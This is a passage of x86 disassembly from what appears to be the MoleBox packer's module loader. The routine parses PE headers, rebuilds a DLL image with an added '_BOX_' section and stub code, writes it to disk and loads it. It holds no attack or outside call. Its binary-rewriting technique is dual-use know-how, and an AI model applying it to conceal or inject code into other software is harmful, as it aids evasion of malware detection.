		mov	eax, ds:dword_4A2964
		mov	[ebp+var_44], eax
		and	[ebp+var_4], 0
		push	[ebp+var_128]
		call	ds:dword_4A2718	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4972A9
		push	[ebp+var_128]
		call	ds:dword_4A275C	; LoadLibraryA
		push	0FFFFFFFFh
		mov	[ebp+var_130], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_130]
		jmp	loc_498132
; ---------------------------------------------------------------------------

loc_4972A9:				; CODE XREF: sub_4971E1+9Cj
		push	[ebp+var_12C]
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+var_128]
		call	sub_49681E
		add	esp, 0Ch
		mov	[ebp+var_6C], eax
		cmp	ds:dword_4A2964, 0
		jz	short loc_49732D
		cmp	[ebp+var_6C], 0
		jz	short loc_49732D
		mov	eax, ds:dword_4A2964
		mov	[ebp+var_74], eax
		jmp	short loc_4972F1
; ---------------------------------------------------------------------------

loc_4972DD:				; CODE XREF: sub_4971E1:loc_49732Bj
		mov	eax, [ebp+var_74]
		mov	eax, [eax+4]
		mov	[ebp+var_74], eax
		mov	eax, ds:dword_4A2968
		inc	eax
		mov	ds:dword_4A2968, eax

loc_4972F1:				; CODE XREF: sub_4971E1+FAj
		cmp	[ebp+var_74], 0
		jz	short loc_49732D
		mov	eax, [ebp+var_74]
		mov	eax, [eax]
		cmp	eax, [ebp+var_6C]
		jnz	short loc_49732B
		mov	eax, ds:dword_4A2968
		inc	eax
		mov	ds:dword_4A2968, eax
		push	0FFFFFFFFh
		and	[ebp+var_134], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_134]
		jmp	loc_498132
; ---------------------------------------------------------------------------

loc_49732B:				; CODE XREF: sub_4971E1+11Ej
		jmp	short loc_4972DD
; ---------------------------------------------------------------------------

loc_49732D:				; CODE XREF: sub_4971E1+EAj
					; sub_4971E1+F0j ...
		and	ds:dword_4A2968, 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_48], eax
		lea	eax, [ebp+var_48]
		mov	ds:dword_4A2964, eax
		cmp	[ebp+var_6C], 0
		jnz	loc_4973CE
		mov	eax, [ebp+var_128]
		mov	[ebp+var_78], eax
		push	[ebp+var_12C]
		push	0
		push	[ebp+var_78]
		call	ds:dword_4A2758	; LoadLibraryExA
		mov	[ebp+var_7C], eax
		cmp	[ebp+var_7C], 0
		jz	short loc_49738E
		mov	eax, [ebp+var_12C]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4973AD
		push	[ebp+var_128]
		push	[ebp+var_7C]
		call	sub_496070
		test	eax, eax
		jnz	short loc_4973AD

loc_49738E:				; CODE XREF: sub_4971E1+18Cj
		call	ds:dword_4A2710	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4973A0
		push	7Eh
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error

loc_4973A0:				; CODE XREF: sub_4971E1+1B5j
		push	[ebp+var_7C]
		call	ds:dword_4A26E0	; FreeLibrary
		and	[ebp+var_7C], 0

loc_4973AD:				; CODE XREF: sub_4971E1+199j
					; sub_4971E1+1ABj
		push	0FFFFFFFFh
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_138], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_138]
		jmp	loc_498132
; ---------------------------------------------------------------------------

loc_4973CE:				; CODE XREF: sub_4971E1+165j
		push	0
		push	0
		push	[ebp+var_6C]
		call	sub_499892
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0
		jz	short loc_497413
		push	0FFFFFFFFh
		mov	eax, [ebp+var_80]
		mov	[ebp+var_13C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_13C]
		jmp	loc_498132
; ---------------------------------------------------------------------------

loc_497413:				; CODE XREF: sub_4971E1+20Fj
		mov	eax, [ebp+var_24]
		mov	[ebp+var_84], eax
		jmp	short loc_49742B
; ---------------------------------------------------------------------------

loc_49741E:				; CODE XREF: sub_4971E1:loc_49744Fj
		mov	eax, [ebp+var_84]
		inc	eax
		mov	[ebp+var_84], eax

loc_49742B:				; CODE XREF: sub_4971E1+23Bj
		mov	eax, [ebp+var_84]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_497451
		mov	eax, [ebp+var_84]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jnz	short loc_49744F
		mov	eax, [ebp+var_84]
		mov	byte ptr [eax],	5Ch

loc_49744F:				; CODE XREF: sub_4971E1+263j
		jmp	short loc_49741E
; ---------------------------------------------------------------------------

loc_497451:				; CODE XREF: sub_4971E1+255j
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	0
		push	[ebp+var_24]
		call	sub_491346
		test	eax, eax
		jnz	short loc_497477
		cmp	[ebp+var_3C], 0
		jnz	short loc_497477
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_497477:				; CODE XREF: sub_4971E1+284j
					; sub_4971E1+28Aj
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_3C]
		call	sub_491672
		push	40h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_F4], eax
		mov	eax, [ebp+var_F4]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	40h
		push	[ebp+var_50]
		push	[ebp+var_3C]
		call	sub_492177
		test	eax, eax
		jz	short loc_4974B9
		cmp	[ebp+var_64], 0
		jnz	short loc_4974C3

loc_4974B9:				; CODE XREF: sub_4971E1+2D0j
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_4974C3:				; CODE XREF: sub_4971E1+2D6j
		push	0
		push	0
		mov	eax, [ebp+var_50]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_3C]
		call	sub_491421
		push	0F8h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+var_F8]
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	0F8h
		push	[ebp+var_4C]
		push	[ebp+var_3C]
		call	sub_492177
		test	eax, eax
		jz	short loc_497511
		cmp	[ebp+var_64], 0
		jnz	short loc_49751B

loc_497511:				; CODE XREF: sub_4971E1+328j
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_49751B:				; CODE XREF: sub_4971E1+32Ej
		mov	eax, [ebp+var_4C]
		cmp	dword ptr [eax], 4550h
		jz	short loc_497530
		mov	ecx, 0EF00000Ch
		call	sub_499342

loc_497530:				; CODE XREF: sub_4971E1+343j
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_4C]
		lea	eax, [ecx+eax+18h]
		sub	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_50]
		mov	ecx, [ecx+3Ch]
		add	ecx, eax
		mov	[ebp+var_70], ecx
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_70]
		add	ecx, eax
		mov	[ebp+var_68], ecx
		mov	[ebp+var_34], 600h
		push	[ebp+var_34]
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_FC], eax
		mov	eax, [ebp+var_FC]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_34]
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	200h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_100], eax
		mov	eax, [ebp+var_100]
		mov	[ebp+var_54], eax
		mov	ecx, 80h
		mov	eax, 90909090h
		mov	edi, [ebp+var_54]
		rep stosd
		push	0
		push	0
		push	0
		push	[ebp+var_3C]
		call	sub_491421
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	[ebp+var_68]
		push	[ebp+var_1C]
		push	[ebp+var_3C]
		call	sub_492177
		test	eax, eax
		jz	short loc_4975EA
		cmp	[ebp+var_64], 0
		jnz	short loc_4975F4

loc_4975EA:				; CODE XREF: sub_4971E1+401j
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_4975F4:				; CODE XREF: sub_4971E1+407j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_A0], ecx
		mov	eax, [ebp+var_A0]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_A0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_A0]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_90]
		add	ecx, eax
		mov	[ebp+var_8C], ecx
		mov	eax, [ebp+var_A0]
		add	eax, 88h
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_A0]
		add	eax, 80h
		mov	[ebp+var_88], eax
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+24h], 0
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+20h], 0
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+1Ch], 0
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+0A0h]
		mov	[eax+34h], ecx
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+0A4h]
		mov	[eax+38h], ecx
		mov	eax, [ebp+var_A0]
		cmp	dword ptr [eax+84h], 0
		jz	short loc_4976BF
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+80h]
		mov	[eax+3Ch], ecx
		jmp	short loc_4976C6
; ---------------------------------------------------------------------------

loc_4976BF:				; CODE XREF: sub_4971E1+4C8j
		mov	eax, [ebp+var_54]
		and	dword ptr [eax+3Ch], 0

loc_4976C6:				; CODE XREF: sub_4971E1+4DCj
		mov	eax, [ebp+var_54]
		add	eax, 40h
		mov	[ebp+var_94], eax
		mov	eax, [ebp+var_94]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_54]
		add	eax, 44h
		mov	[ebp+var_9C], eax
		jmp	short loc_4976F8
; ---------------------------------------------------------------------------

loc_4976E9:				; CODE XREF: sub_4971E1:loc_497C30j
		mov	eax, [ebp+var_90]
		add	eax, 28h
		mov	[ebp+var_90], eax

loc_4976F8:				; CODE XREF: sub_4971E1+506j
		mov	eax, [ebp+var_90]
		cmp	eax, [ebp+var_8C]
		jnb	loc_497C35
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+14h]
		mov	[eax], ecx
		mov	eax, [ebp+var_9C]
		add	eax, 4
		mov	[ebp+var_9C], eax
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+10h]
		mov	[eax], ecx
		mov	eax, [ebp+var_9C]
		add	eax, 4
		mov	[ebp+var_9C], eax
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+24h]
		mov	[eax], ecx
		mov	eax, [ebp+var_9C]
		add	eax, 4
		mov	[ebp+var_9C], eax
		cmp	ds:dword_4A2680, 2
		jnb	loc_49786E
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_98]
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx]
		ja	loc_49786E
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_90]
		add	eax, [ecx+10h]
		mov	ecx, [ebp+var_98]
		cmp	eax, [ecx]
		jbe	loc_49786E
		push	200h
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		call	sub_496AE5
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_104], eax
		mov	eax, [ebp+var_104]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_A0]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+8]
		call	sub_496AE5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+20h]
		add	ecx, eax
		mov	eax, [ebp+var_A0]
		mov	[eax+20h], ecx
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+14h]
		push	[ebp+var_3C]
		call	sub_491421
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		push	[ebp+var_2C]
		push	[ebp+var_3C]
		call	sub_492177
		test	eax, eax
		jz	short loc_497846
		cmp	[ebp+var_64], 0
		jnz	short loc_497850

loc_497846:				; CODE XREF: sub_4971E1+65Dj
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_497850:				; CODE XREF: sub_4971E1+663j
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_34]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+24h], 0C0000040h
		jmp	loc_497C30
; ---------------------------------------------------------------------------

loc_49786E:				; CODE XREF: sub_4971E1+590j
					; sub_4971E1+5A7j ...
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_88]
		mov	eax, [eax+0Ch]
		cmp	eax, [ecx]
		ja	loc_497B8F
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_90]
		add	eax, [ecx+10h]
		mov	ecx, [ebp+var_88]
		cmp	eax, [ecx]
		jbe	loc_497B8F
		and	[ebp+var_A8], 0
		mov	[ebp+var_4], 1
		push	4
		push	1000h
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		push	0
		call	ds:dword_4A27A4	; VirtualAlloc
		mov	[ebp+var_A8], eax
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+14h]
		push	[ebp+var_3C]
		call	sub_491421
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+10h]
		push	[ebp+var_A8]
		push	[ebp+var_3C]
		call	sub_492177
		test	eax, eax
		jz	short loc_49790F
		cmp	[ebp+var_64], 0
		jnz	short loc_497919

loc_49790F:				; CODE XREF: sub_4971E1+726j
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_497919:				; CODE XREF: sub_4971E1+72Cj
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_B0], eax
		mov	eax, [ebp+var_88]
		mov	eax, [eax]
		sub	eax, [ebp+var_B0]
		mov	ecx, [ebp+var_A8]
		add	ecx, eax
		mov	[ebp+var_AC], ecx
		and	[ebp+var_B4], 0
		jmp	short loc_49795A
; ---------------------------------------------------------------------------

loc_49794D:				; CODE XREF: sub_4971E1:loc_497B5Aj
		mov	eax, [ebp+var_B4]
		inc	eax
		mov	[ebp+var_B4], eax

loc_49795A:				; CODE XREF: sub_4971E1+76Aj
		mov	eax, [ebp+var_88]
		mov	eax, [eax+4]
		xor	edx, edx
		push	14h
		pop	ecx
		div	ecx
		cmp	[ebp+var_B4], eax
		jnb	loc_497B5F
		mov	eax, [ebp+var_B4]
		imul	eax, 14h
		mov	ecx, [ebp+var_AC]
		cmp	dword ptr [ecx+eax+0Ch], 0
		jnz	short loc_497991
		jmp	loc_497B5F
; ---------------------------------------------------------------------------

loc_497991:				; CODE XREF: sub_4971E1+7A9j
		mov	eax, [ebp+var_B4]
		imul	eax, 14h
		mov	ecx, [ebp+var_AC]
		mov	edx, [ebp+var_A8]
		add	edx, [ecx+eax+0Ch]
		sub	edx, [ebp+var_B0]
		mov	[ebp+var_BC], edx
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_A8]
		add	ecx, [eax+10h]
		cmp	[ebp+var_BC], ecx
		jbe	short loc_4979D2
		jmp	loc_497B5F
; ---------------------------------------------------------------------------

loc_4979D2:				; CODE XREF: sub_4971E1+7EAj
		mov	eax, [ebp+var_BC]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4979E4
		jmp	loc_497B5F
; ---------------------------------------------------------------------------

loc_4979E4:				; CODE XREF: sub_4971E1+7FCj
		and	ds:dword_4A2968, 0
		and	[ebp+var_B8], 0
		push	[ebp+var_BC]
		call	sub_49BE83
		mov	[ebp+var_B8], eax
		cmp	[ebp+var_B8], 0
		jnz	loc_497B27
		cmp	ds:dword_4A2968, 0
		jz	short loc_497A1E
		jmp	loc_497B29
; ---------------------------------------------------------------------------

loc_497A1E:				; CODE XREF: sub_4971E1+836j
		mov	edi, [ebp+var_BC]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		push	[ebp+var_24]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_C0], eax
		mov	[ebp+var_4], 2
		push	5Ch
		push	[ebp+var_C0]
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp+var_C4], eax
		cmp	[ebp+var_C4], 0
		jz	short loc_497A72
		mov	eax, [ebp+var_C4]
		inc	eax
		mov	[ebp+var_C4], eax
		jmp	short loc_497A7E
; ---------------------------------------------------------------------------

loc_497A72:				; CODE XREF: sub_4971E1+880j
		mov	eax, [ebp+var_C0]
		mov	[ebp+var_C4], eax

loc_497A7E:				; CODE XREF: sub_4971E1+88Fj
		mov	edi, [ebp+var_BC]
		mov	edx, [ebp+var_C4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	[ebp+var_C0]
		call	sub_49BE83
		mov	[ebp+var_B8], eax
		cmp	[ebp+var_B8], 0
		jnz	short loc_497B00
		cmp	ds:dword_4A2968, 0
		jz	short loc_497AD9
		push	1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		jmp	short loc_497B29
; ---------------------------------------------------------------------------

loc_497AD9:				; CODE XREF: sub_4971E1+8E7j
		push	7Eh
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error
		push	0FFFFFFFFh
		and	[ebp+var_140], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_140]
		jmp	loc_498132
; ---------------------------------------------------------------------------

loc_497B00:				; CODE XREF: sub_4971E1+8DEj
		mov	[ebp+var_4], 1
		call	sub_497B0E
		jmp	short loc_497B27
sub_4971E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_497B0E	proc near		; CODE XREF: sub_4971E1+926p
					; DATA XREF: _5:0049F4E0o
		mov	eax, [ebp-0C0h]
		mov	[ebp-108h], eax
		push	dword ptr [ebp-108h]
		call	sub_4993DD
		pop	ecx
		retn
sub_497B0E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4971E1

loc_497B27:				; CODE XREF: sub_4971E1+829j
					; sub_4971E1+92Bj
		jmp	short loc_497B2D
; ---------------------------------------------------------------------------

loc_497B29:				; CODE XREF: sub_4971E1+838j
					; sub_4971E1+8F6j
		mov	[ebp+var_5C], 1

loc_497B2D:				; CODE XREF: sub_4971E1:loc_497B27j
		cmp	[ebp+var_B8], 0
		jz	short loc_497B5A
		mov	eax, [ebp+var_94]
		push	dword ptr [eax]
		push	[ebp+var_B8]
		push	[ebp+var_BC]
		call	sub_4966EB
		add	esp, 0Ch
		mov	ecx, [ebp+var_94]
		mov	[ecx], eax

loc_497B5A:				; CODE XREF: sub_4971E1+953j
		jmp	loc_49794D
; ---------------------------------------------------------------------------

loc_497B5F:				; CODE XREF: sub_4971E1+78Fj
					; sub_4971E1+7ABj ...
		push	8000h
		push	0
		push	[ebp+var_A8]
		call	ds:dword_4A27A8	; VirtualFree
		and	[ebp+var_A8], 0
		and	[ebp+var_4], 0
		jmp	short loc_497B8F
; END OF FUNCTION CHUNK	FOR sub_4971E1

; =============== S U B	R O U T	I N E =======================================



sub_497B7F	proc near		; DATA XREF: _5:0049F4D0o
		push	dword ptr [ebp-14h]
		call	sub_499C27
		retn
sub_497B7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_497B88	proc near		; DATA XREF: _5:0049F4D4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
sub_497B88	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4971E1

loc_497B8F:				; CODE XREF: sub_4971E1+69Ej
					; sub_4971E1+6BEj ...
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_90]
		mov	eax, [eax+8]
		cmp	eax, [ecx+10h]
		jbe	short loc_497BB4
		mov	eax, [ebp+var_90]
		mov	eax, [eax+8]
		mov	[ebp+var_144], eax
		jmp	short loc_497BC3
; ---------------------------------------------------------------------------

loc_497BB4:				; CODE XREF: sub_4971E1+9C0j
		mov	eax, [ebp+var_90]
		mov	eax, [eax+10h]
		mov	[ebp+var_144], eax

loc_497BC3:				; CODE XREF: sub_4971E1+9D1j
		mov	eax, [ebp+var_A0]
		push	dword ptr [eax+38h]
		push	[ebp+var_144]
		call	sub_496AE5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_90]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_A0]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_90]
		push	dword ptr [eax+8]
		call	sub_496AE5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+24h]
		add	ecx, eax
		mov	eax, [ebp+var_A0]
		mov	[eax+24h], ecx
		mov	eax, [ebp+var_90]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+var_90]
		and	dword ptr [eax+14h], 0
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+24h], 0E0000080h

loc_497C30:				; CODE XREF: sub_4971E1+688j
		jmp	loc_4976E9
; ---------------------------------------------------------------------------

loc_497C35:				; CODE XREF: sub_4971E1+523j
		and	[ebp+var_A4], 0
		jmp	short loc_497C4B
; ---------------------------------------------------------------------------

loc_497C3E:				; CODE XREF: sub_4971E1+A7Cj
					; sub_4971E1+A87j ...
		mov	eax, [ebp+var_A4]
		inc	eax
		mov	[ebp+var_A4], eax

loc_497C4B:				; CODE XREF: sub_4971E1+A5Bj
		cmp	[ebp+var_A4], 10h
		jnb	short loc_497C8E
		cmp	[ebp+var_A4], 0
		jnz	short loc_497C5F
		jmp	short loc_497C3E
; ---------------------------------------------------------------------------

loc_497C5F:				; CODE XREF: sub_4971E1+A7Aj
		cmp	[ebp+var_A4], 2
		jnz	short loc_497C6A
		jmp	short loc_497C3E
; ---------------------------------------------------------------------------

loc_497C6A:				; CODE XREF: sub_4971E1+A85j
		mov	eax, [ebp+var_A4]
		mov	ecx, [ebp+var_A0]
		and	dword ptr [ecx+eax*8+7Ch], 0
		mov	eax, [ebp+var_A4]
		mov	ecx, [ebp+var_A0]
		and	dword ptr [ecx+eax*8+78h], 0
		jmp	short loc_497C3E
; ---------------------------------------------------------------------------

loc_497C8E:				; CODE XREF: sub_4971E1+A71j
		push	0Ah
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_90]
		rep stosd
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_90]
		mov	[ecx+14h], eax
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+50h]
		mov	[eax+0Ch], ecx
		mov	esi, offset a_box_ ; "_BOX_"
		mov	edi, [ebp+var_90]
		movsd
		movsw
		mov	eax, [ebp+var_90]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+38h]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+10h], 200h
		mov	eax, [ebp+var_90]
		mov	dword ptr [eax+24h], 0E0000020h
		mov	eax, [ebp+var_A0]
		mov	dword ptr [eax+3Ch], 200h
		mov	eax, [ebp+var_A0]
		mov	eax, [eax+50h]
		mov	ecx, [ebp+var_A0]
		add	eax, [ecx+38h]
		mov	ecx, [ebp+var_A0]
		mov	[ecx+50h], eax
		mov	eax, [ebp+var_A0]
		mov	eax, [eax+1Ch]
		mov	ecx, [ebp+var_A0]
		add	eax, [ecx+3Ch]
		mov	ecx, [ebp+var_A0]
		mov	[ecx+1Ch], eax
		mov	eax, [ebp+var_A0]
		mov	eax, [eax+28h]
		mov	[ebp+var_20], eax
		push	5
		pop	ecx
		mov	esi, offset loc_4A1C70
		mov	edi, [ebp+var_54]
		rep movsd
		movsw
		movsb
		mov	eax, [ebp+var_54]
		inc	eax
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	ecx, [ebp+var_A0]
		mov	ecx, [ecx+28h]
		mov	[eax+1], ecx
		call	sub_4968A0
		mov	ecx, [ebp+var_C8]
		mov	ecx, [ecx+1]
		xor	ecx, eax
		mov	eax, [ebp+var_C8]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_C8]
		add	eax, 5
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	ecx, [ebp+var_24]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_C8]
		add	eax, 5
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	ecx, [ebp+var_3C]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_C8]
		add	eax, 5
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		inc	eax
		mov	[ebp+var_C8], eax
		mov	eax, [ebp+var_C8]
		mov	dword ptr [eax+1], offset sub_496BD7
		and	[ebp+var_C8], 0
		xor	eax, eax
		mov	edi, [ebp+var_54]
		add	edi, 20h
		stosd
		stosd
		stosd
		mov	eax, [ebp+var_54]
		mov	dword ptr [eax+24h], 8
		mov	eax, [ebp+var_A0]
		mov	dword ptr [eax+0A4h], 8
		mov	eax, [ebp+var_90]
		mov	eax, [eax+0Ch]
		add	eax, 20h
		mov	ecx, [ebp+var_A0]
		mov	[ecx+0A0h], eax
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+var_90]
		mov	ecx, [ecx+0Ch]
		mov	[eax+28h], ecx
		mov	eax, [ebp+var_A0]
		mov	ax, [eax+6]
		add	ax, 1
		mov	ecx, [ebp+var_A0]
		mov	[ecx+6], ax
		mov	eax, [ebp+var_A0]
		and	dword ptr [eax+58h], 0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+var_28]
		call	ds:dword_4A26A8	; CreateFileA
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0FFFFFFFFh
		jnz	short loc_497E8C
		mov	ecx, 0EF000011h
		call	sub_499342

loc_497E8C:				; CODE XREF: sub_4971E1+C9Fj
		push	0
		lea	eax, [ebp+var_CC]
		push	eax
		push	[ebp+var_34]
		push	[ebp+var_1C]
		push	[ebp+var_58]
		call	ds:dword_4A27BC	; WriteFile
		cmp	[ebp+var_2C], 0
		jz	short loc_497EC2
		push	0
		lea	eax, [ebp+var_CC]
		push	eax
		push	[ebp+var_30]
		push	[ebp+var_2C]
		push	[ebp+var_58]
		call	ds:dword_4A27BC	; WriteFile

loc_497EC2:				; CODE XREF: sub_4971E1+CC7j
		push	0
		lea	eax, [ebp+var_CC]
		push	eax
		push	200h
		push	[ebp+var_54]
		push	[ebp+var_58]
		call	ds:dword_4A27BC	; WriteFile
		push	[ebp+var_58]
		call	ds:dword_4A26D8	; FlushFileBuffers
		push	[ebp+var_58]
		call	ds:dword_4A26A4	; CloseHandle
		mov	ds:dword_4A2958, 1
		push	[ebp+var_28]
		call	ds:dword_4A275C	; LoadLibraryA
		mov	[ebp+var_D0], eax
		cmp	[ebp+var_D0], 0
		jnz	short loc_497F2B
		push	351h
		push	offset aDProjectsMy_sr ; "D:\\Projects\\My.SRC\\MoleStudio\\MoleBox\\m"...
		call	sub_4997CA
		pop	ecx
		pop	ecx
		mov	ecx, 0EF000010h
		call	sub_499342

loc_497F2B:				; CODE XREF: sub_4971E1+D2Dj
		movzx	eax, [ebp+var_5C]
		test	eax, eax
		jz	loc_49805C
		mov	eax, [ebp+var_D0]
		mov	[ebp+var_DC], eax
		mov	eax, [ebp+var_DC]
		mov	ecx, [ebp+var_DC]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_EC], ecx
		mov	eax, [ebp+var_EC]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_EC]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_E8], eax
		mov	eax, [ebp+var_EC]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_E8]
		lea	eax, [ecx+eax-28h]
		mov	[ebp+var_E0], eax
		mov	eax, [ebp+var_E0]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_DC]
		mov	eax, [ecx+eax+3Ch]
		mov	[ebp+var_E4], eax
		mov	eax, [ebp+var_DC]
		add	eax, [ebp+var_E4]
		mov	[ebp+var_D8], eax
		push	5Ch
		push	[ebp+var_24]
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp+var_D4], eax
		cmp	[ebp+var_D4], 0
		jnz	short loc_497FE0
		mov	eax, [ebp+var_24]
		mov	[ebp+var_D4], eax
		jmp	short loc_497FED
; ---------------------------------------------------------------------------

